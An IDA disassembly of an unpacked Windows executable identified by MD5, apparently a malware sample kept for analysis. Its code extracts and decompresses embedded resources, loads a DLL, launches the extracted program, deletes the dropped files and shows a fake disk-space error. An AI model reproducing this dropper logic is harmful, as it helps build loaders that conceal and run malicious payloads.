;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	67E1683615A0954E39BC42AFC2A29A6F

; File Name   :	u:\work\67e1683615a0954e39bc42afc2a29a6f_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00000740 (   1856.)
; Section size in file		: 00000740 (   1856.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
dword_401000	dd 77E74155h		; DATA XREF: sub_40122B+127r
dword_401004	dd 77E760B5h		; DATA XREF: sub_4010EE+2Br
dword_401008	dd 77E7105Fh		; DATA XREF: sub_4010EE+1Cr
dword_40100C	dd 77E6CA8Ah		; DATA XREF: sub_4010EE+Br
dword_401010	dd 77E77963h		; DATA XREF: sub_401128+46r
					; sub_40122B+193r
dword_401014	dd 77E79D8Ch		; DATA XREF: sub_401128+36r
dword_401018	dd 77E7A837h		; DATA XREF: sub_401128+19r
dword_40101C	dd 77E6AF8Fh		; DATA XREF: sub_40117E+Fr
dword_401020	dd 77E73628h		; DATA XREF: sub_401194+8Ar
					; sub_40122B+CBr ...
dword_401024	dd 77E61BE6h		; DATA XREF: sub_40122B+1C6r
dword_401028	dd 77E7FF65h		; DATA XREF: sub_40122B+1ACr
dword_40102C	dd 77E79D5Bh		; DATA XREF: sub_40122B+1A0r
dword_401030	dd 77E61BB8h		; DATA XREF: sub_40122B+179r
dword_401034	dd 77E6177Ah		; DATA XREF: sub_40122B+159r
dword_401038	dd 77E7C931h		; DATA XREF: sub_4010EE+32r
dword_40103C	dd 77E73167h		; DATA XREF: sub_40122B+121r
dword_401040	dd 77E7C938h		; DATA XREF: sub_40122B:loc_40131Br
dword_401044	dd 77E80618h		; DATA XREF: sub_40122B+BEr
					; sub_40122B+E1r
dword_401048	dd 77E7A5FDh		; DATA XREF: sub_40122B+70r
dword_40104C	dd 77E805D8h		; DATA XREF: sub_40122B+5Ar
dword_401050	dd 77E705B0h		; DATA XREF: start+65r
dword_401054	dd 77E7A099h		; DATA XREF: start+19r
		dd 0
dword_40105C	dd 77EB2DBFh		; DATA XREF: sub_4014AEr
dword_401060	dd 77EBB626h		; DATA XREF: sub_4014B4r
dword_401064	dd 77EBBA18h		; DATA XREF: sub_4014A8r
		dd 0
dword_40106C	dd 77D6ADD7h		; DATA XREF: start+98r
		dd 0
dword_401074	dd 657873h		; DATA XREF: sub_40117E+6o
		dd 2022h		; DATA XREF: sub_40122B+143o
dword_40107C	dd 22h			; DATA XREF: sub_40122B+11Bo
aDllinflate	db 'DllInflate',0       ; DATA XREF: sub_40122B+6Ao
		align 4
aAnErrorHasOccu	db 'An error has occured while executing this program. Free up harddr'
					; DATA XREF: start+91o
		db 'ive space and try again.',0
		align 4
aError		db 'Error',0            ; DATA XREF: start+8Co

; =============== S U B	R O U T	I N E =======================================



sub_4010EE	proc near		; CODE XREF: sub_40122B+19p
					; sub_40122B+82p

arg_0		= word ptr  4
arg_4		= dword	ptr  8

		movzx	eax, [esp+arg_0]
		push	esi
		push	63h
		push	eax
		push	0
		call	dword_40100C	; FindResourceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_401107
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401107:				; CODE XREF: sub_4010EE+15j
		push	esi
		push	0
		call	dword_401008	; SizeofResource
		mov	ecx, [esp+4+arg_4]
		push	esi
		push	0
		mov	[ecx], eax
		call	dword_401004	; LoadResource
		push	eax
		call	dword_401038	; LockResource
		pop	esi
		retn
sub_4010EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401128	proc near		; CODE XREF: sub_401194+27p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	80h
		push	2
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_8]
		call	dword_401018	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_401178
		mov	[ebp+arg_8], esi
		push	esi
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+arg_8]
		push	eax
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	dword_401014	; WriteFile
		test	eax, eax
		jz	short loc_401178
		cmp	esi, [ebp+arg_8]
		jnz	short loc_401178
		push	edi
		call	dword_401010	; CloseHandle
		mov	al, 1
		jmp	short loc_40117A
; ---------------------------------------------------------------------------


loc_401178:				; CODE XREF: sub_401128+24j
					; sub_401128+3Ej ...
		xor	al, al


loc_40117A:				; CODE XREF: sub_401128+4Ej
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_401128	endp


; =============== S U B	R O U T	I N E =======================================



sub_40117E	proc near		; CODE XREF: sub_401194+15p
					; sub_40122B+30p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	0
		push	offset dword_401074
		push	[esp+0Ch+arg_0]
		call	dword_40101C	; GetTempFileNameA
		retn
sub_40117E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401194	proc near		; CODE XREF: sub_40122B+43p
					; sub_40122B+ACp
					; DATA XREF: ...

var_18C		= byte ptr -18Ch
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18Ch
		push	esi
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_8]
		call	sub_40117E
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401128
		add	esp, 14h
		test	al, al
		jz	short loc_401207
		lea	eax, [ebp+var_18C]
		push	0
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4014B4	; LZOpenFileA
		mov	edi, eax
		test	edi, edi
		jl	short loc_401207
		lea	eax, [ebp+var_18C]
		push	1002h
		push	eax
		push	[ebp+arg_C]
		call	sub_4014B4	; LZOpenFileA
		mov	esi, eax
		test	esi, esi
		jl	short loc_401207
		push	esi
		push	edi
		call	sub_4014AE	; LZCopy
		test	eax, eax
		jge	short loc_40120B


loc_401207:				; CODE XREF: sub_401194+31j
					; sub_401194+4Cj ...
		xor	eax, eax
		jmp	short loc_401227
; ---------------------------------------------------------------------------


loc_40120B:				; CODE XREF: sub_401194+71j
		push	edi
		call	sub_4014A8	; LZClose
		push	esi
		call	sub_4014A8	; LZClose
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_401020	; DeleteFileA
		push	1
		pop	eax


loc_401227:				; CODE XREF: sub_401194+75j
		pop	edi
		pop	esi
		leave
		retn
sub_401194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40122B	proc near		; CODE XREF: start+52p	start+7Ap

var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= byte ptr -58h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 364h
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	1
		xor	esi, esi
		mov	ebx, offset sub_401194
		call	sub_4010EE
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4012A7
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	sub_40117E
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	edi
		call	sub_401194
		add	esp, 18h
		test	eax, eax
		jz	loc_4013B7
		lea	eax, [ebp+var_260]
		push	eax
		call	dword_40104C	; LoadLibraryA
		mov	esi, eax
		test	esi, esi
		jz	loc_4013B7
		push	offset aDllinflate ; "DllInflate"
		push	esi
		call	dword_401048	; GetProcAddress
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4012E0


loc_4012A7:				; CODE XREF: sub_40122B+24j
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		call	sub_4010EE
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4012E0
		lea	eax, [ebp+var_364]
		push	eax
		push	[ebp+arg_0]
		call	sub_40117E
		lea	eax, [ebp+var_364]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	edi
		call	ebx ; sub_401194
		add	esp, 18h
		test	eax, eax
		jnz	short loc_401301


loc_4012E0:				; CODE XREF: sub_40122B+7Aj
					; sub_40122B+8Dj
		test	esi, esi
		jz	loc_4013B7
		push	esi
		call	dword_401044	; FreeLibrary
		lea	eax, [ebp+var_260]
		push	eax
		call	dword_401020	; DeleteFileA
		jmp	loc_4013B7
; ---------------------------------------------------------------------------


loc_401301:				; CODE XREF: sub_40122B+B3j
		mov	ebx, dword_401020
		test	esi, esi
		jz	short loc_40131B
		push	esi
		call	dword_401044	; FreeLibrary
		lea	eax, [ebp+var_260]
		push	eax
		call	ebx	; DeleteFileA


loc_40131B:				; CODE XREF: sub_40122B+DEj
		call	dword_401040	; GetCommandLineA
		mov	edi, eax
		xor	cl, cl
		cmp	byte ptr [edi],	22h
		jnz	short loc_40132D
		inc	cl


loc_40132C:				; CODE XREF: sub_40122B+112j
		inc	edi


loc_40132D:				; CODE XREF: sub_40122B+FDj
		mov	al, [edi]
		test	al, al
		jz	short loc_401340
		cmp	al, 20h
		jnz	short loc_40133B
		test	cl, cl
		jz	short loc_401340


loc_40133B:				; CODE XREF: sub_40122B+10Aj
		cmp	al, 22h
		jnz	short loc_40132C
		inc	edi


loc_401340:				; CODE XREF: sub_40122B+106j
					; sub_40122B+10Ej
		lea	eax, [ebp+var_15C]
		push	offset dword_40107C
		push	eax
		call	dword_40103C	; lstrcpy
		mov	esi, dword_401000
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_15C]
		push	offset dword_401078
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_58]
		push	eax
		call	dword_401034	; GetStartupInfoA
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	edi
		push	edi
		push	20h
		push	1
		push	edi
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	edi
		call	dword_401030	; CreateProcessA
		test	eax, eax
		jnz	short loc_4013BB
		lea	eax, [ebp+var_364]
		push	eax
		call	ebx	; DeleteFileA


loc_4013B7:				; CODE XREF: sub_40122B+4Dj
					; sub_40122B+64j ...
		xor	al, al
		jmp	short loc_4013FF
; ---------------------------------------------------------------------------


loc_4013BB:				; CODE XREF: sub_40122B+181j
		push	[ebp+var_10]
		mov	esi, dword_401010
		call	esi	; CloseHandle
		push	0FFFFFFFFh
		push	[ebp+var_14]
		call	dword_40102C	; WaitForSingleObject
		push	[ebp+arg_4]
		push	[ebp+var_14]
		call	dword_401028	; GetExitCodeProcess
		push	[ebp+var_14]
		call	esi	; CloseHandle


loc_4013E2:				; CODE XREF: sub_40122B+1D0j
		lea	eax, [ebp+var_364]
		push	eax
		call	ebx	; DeleteFileA
		test	eax, eax
		jnz	short loc_4013FD
		push	64h
		call	dword_401024	; Sleep
		inc	edi
		cmp	edi, 64h
		jl	short loc_4013E2


loc_4013FD:				; CODE XREF: sub_40122B+1C2j
		mov	al, 1


loc_4013FF:				; CODE XREF: sub_40122B+18Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near

var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	esi
		mov	esi, 104h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		push	0
		call	dword_401054	; GetModuleFileNameA
		mov	cl, [ebp+var_108]
		xor	edx, edx
		test	cl, cl
		lea	eax, [ebp+var_108]
		jz	short loc_40144B


loc_401435:				; CODE XREF: start+3Fj
		cmp	cl, 5Ch
		jnz	short loc_40143D
		lea	edx, [eax+1]


loc_40143D:				; CODE XREF: start+34j
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_401435
		test	edx, edx
		jz	short loc_40144B
		and	[edx], cl


loc_40144B:				; CODE XREF: start+2Fj	start+43j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_40122B
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_401489
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		call	dword_401050	; GetWindowsDirectoryA
		test	eax, eax
		jz	short loc_40148E
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_40122B
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40148E


loc_401489:				; CODE XREF: start+5Bj
		mov	eax, [ebp+var_4]
		jmp	short loc_4014A5
; ---------------------------------------------------------------------------


loc_40148E:				; CODE XREF: start+6Dj	start+83j
		push	0
		push	offset aError	; "Error"
		push	offset aAnErrorHasOccu ; "An error has occured while executing th"...
		push	0
		call	dword_40106C	; MessageBoxA
		or	eax, 0FFFFFFFFh


loc_4014A5:				; CODE XREF: start+88j
		pop	esi
		leave
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014A8	proc near		; CODE XREF: sub_401194+78p
					; sub_401194+7Ep
		jmp	dword_401064
sub_4014A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014AE	proc near		; CODE XREF: sub_401194+6Ap
		jmp	dword_40105C
sub_4014AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014B4	proc near		; CODE XREF: sub_401194+43p
					; sub_401194+5Dp
		jmp	dword_401060
sub_4014B4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 150Ch, 2 dup(0)
		dd 16ECh, 1000h, 1568h,	2 dup(0)
		dd 171Ch, 105Ch, 1578h,	2 dup(0)
		dd 1734h, 106Ch, 5 dup(0)
		dd 1664h, 1590h, 15A0h,	15B2h, 15C2h, 15D0h, 15DCh, 15EAh
		dd 15FEh, 160Ch, 1614h,	162Ah, 1640h, 1652h, 1580h, 1670h
		dd 167Ch, 168Eh, 169Ch,	16AEh, 16BEh, 16D6h, 0
		dd 1704h, 170Eh, 16FAh,	0
		dd 1726h, 0
		db 0D5h	; Õ
		db 1, 4Ch, 6Fh
aCkresource	db 'ckResource',0
		align 10h
		db 0C7h	; Ç
		db 1, 4Ch, 6Fh
aAdresource	db 'adResource',0
		align 10h
		db  95h	; •
		db 2, 53h, 69h
aZeofresource	db 'zeofResource',0
		align 2
aG		db '£',0
aFindresourcea	db 'FindResourceA',0
		db 1Bh,0
aClosehandle	db 'CloseHandle',0
		db 0DFh	; ß
		db 2, 57h, 72h
aItefile	db 'iteFile',0
a4		db '4',0
aCreatefilea	db 'CreateFileA',0
		dw 163h
aGettempfilenam	db 'GetTempFileNameA',0
		align 2
aW		db 'W',0
aDeletefilea	db 'DeleteFileA',0
		db  96h	; –
		db 2, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db  0Bh
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 2CEh
aWaitforsingleo	db 'WaitForSingleObject',0
aD		db 'D',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
		dw 150h
aGetstartupinfo	db 'GetStartupInfoA',0
		dd 736C02F9h, 61637274h, 4174h,	736C0302h, 70637274h, 4179h
		dd 654700CAh, 6D6F4374h, 646E616Dh, 656E694Ch, 0B40041h
		dd 65657246h, 7262694Ch, 797261h, 6547013Eh, 6F725074h
		dd 64644163h, 73736572h, 1C20000h, 64616F4Ch, 7262694Ch
		dd 41797261h, 17D0000h
aGetwindowsdire	db 'GetWindowsDirectoryA',0
		align 2
		dw 124h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
aKernel32_dll	db 'KERNEL32.dll',0
		align 2
		dw 3
aLzclose	db 'LZClose',0
		dd 5A4C0004h, 79706F43h, 70000h, 704F5A4Ch, 69466E65h
		dd 41656Ch, 32335A4Ch, 6C6C642Eh, 1BE0000h, 7373654Dh
		dd 42656761h, 41786Fh, 52455355h, 642E3233h, 6C6Ch
_text		ends

; Section 3. (virtual address 00016000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00015600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 416000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start